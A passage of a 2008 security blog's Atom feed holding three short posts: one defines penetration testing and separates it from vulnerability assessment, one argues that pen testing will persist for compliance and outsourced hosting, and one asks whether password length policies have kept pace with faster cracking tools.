    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>I'm planning to do a series of posts about penetration testing over the next couple of weeks so I thought I should start in the obvious place of defining what it actually is.</p>

<p>You'd think this would be relatively straightforward, but the term "penetration testing" is mis-used all over the place.  Some people use it to refer to vulnerability assessment, some people use it to refer to Web Application Security Assessment, and a lot of business people use it to refer generically to any and all security assessment activity.</p>

<p>So what actually is it?  Well for me, a penetration test is a scenario based assessment where the tester will actually try to exploit security vulnerabilities in a system or systems (depending on the scope) and then leverage those exploited vulnerabilities to gain further access to systems within the scope of the assessment which may be accessible after exploiting the initial vulnerability.</p>

<p>So that's what it is, why is it important to use the term correctly?</p>

<p>Well, different security assessment types have different characteristics and provide the owner of the system with different levels of assurance, so it's important to make sure everyone's talking about the same thing.</p>

<p>For example, vulnerability assessment is typically primarily tool based (eg, Nessus), focuses on networking/Operating System/maybe database level problems and doesn't usually exploit the vulnerabilities found.  Pretty low risk to the systems under test (usually) but won't provide definite confirmation of problems and typically doesn't look at web applications, so it won't cover all the attack surface of a typical web application exposed over the Internet.</p>

<p>So if someone calls a vulnerability assessment a penetration test (and this is pretty common, in my experience) there's a good chance that someone's going to be disappointed in the results...</p>

<p>From the definition I used there's a couple of areas that can be very important to define correctly when conducting a test, so next time, I'm planning to go over some of the common problems and misconceptions in scoping penetration tests.</p>]]>
        
    </content>
</entry>

<entry>
    <title>Death of Pen Testing?</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2008/12/death-of-pen-te.html" />
    <id>tag:www.mccune.org.uk,2008:/blog//1.507</id>

    <published>2008-12-10T20:20:47Z</published>
    <updated>2008-12-10T20:31:34Z</updated>

    <summary>http://riskmanagementinsight.com/riskanalysis/?p=532 Very interesting post over at Riskanalysis.is on penetration testing and what it may turn in to. There&apos;s some good reasons to do penetration testing in there and I&apos;d agree that targeted testing to prove or disprove theories about the...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>http://riskmanagementinsight.com/riskanalysis/?p=532<br/><br/><br />
Very interesting post over at Riskanalysis.is on penetration testing and what it may turn in to.</p>

<p>There's some good reasons to do penetration testing in there and I'd agree that targeted testing to prove or disprove theories about the security environment is a smart way to use penetration testing.  My feeling though is that, at the moment, only more mature security organisations will be in a good place to use it in that way.</p>

<p>For most companies there are other reasons why penetration testing is going to remain on the menu in its current form</p>

<ul>
<li> <b>Compliance.</b>  Penetration testing seems to be getting commonly adopted as one of the "bullet points" that need to be completed to comply with industry or government regulations, probably most noticable by PCI</li>
<li><b>Externally hosted applications.</b>  In situations when a company doesn't have great visibility of an application that they're entrusting valuable data to (eg, most outsourced application hosting setups) they need some way to get comfort that a reasonable level of security is being applied to that application.  Usually that will involve a penetration test, especially if the application is exposed to a hostile envrioment (like the Internet!)</li>
</li>

<p>So whilst I'd definitely like to see smarter use of penetration tests, I don't think that testing as it's used currently is going to go out of fashion any time soon.</p>]]>
        
    </content>
</entry>

<entry>
    <title>Catching out dodgy security policies</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2008/12/catching-out-do.html" />
    <id>tag:www.mccune.org.uk,2008:/blog//1.506</id>

    <published>2008-12-10T19:47:41Z</published>
    <updated>2008-12-10T20:02:13Z</updated>

    <summary>Here&apos;s a question to ask your security policy people, to see whether their recommendations are actually risk based or just &quot;best guesses&quot;... &quot;Have you updated the minimum password length/complexity requirements due to recent advances in password cracking speeds?&quot; I was...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Security Policy" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="passwords" label="passwords" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>Here's a question to ask your security policy people, to see whether their recommendations are actually risk based or just "best guesses"...</p>

<p>"Have you updated the minimum password length/complexity requirements due to recent advances in password cracking speeds?"</p>

<p>I was reading a couple of posts on the Red Database Security blog (<a href="http://blog.red-database-security.com/2008/12/08/md5-bruteforcer-barswf/">here</a> and <a href="http://blog.red-database-security.com/2008/12/07/gsauditor-fastest-oracle-11g-password-cracker-afaik/">here</a>, and it occurred to me that despite the increases that have been made in password cracking speeds over the last couple of years, I've not seen a lot of movement in minimum password length/strength requirements to go along with it...</p>

<p>Obviously password policies should be tailored to mitigate the threats to the systems they protect and the primary risk that long passwords mitigate is an offline attack where the attacker has access to the encrypted password.  (the more common online brute-force is better mitigated by account lockout and security monitoring in most cases)</p>

<p>So if crackers are getting faster, passwords should obviously get longer...</p>]]>
        
    </content>
</entry>

</feed>
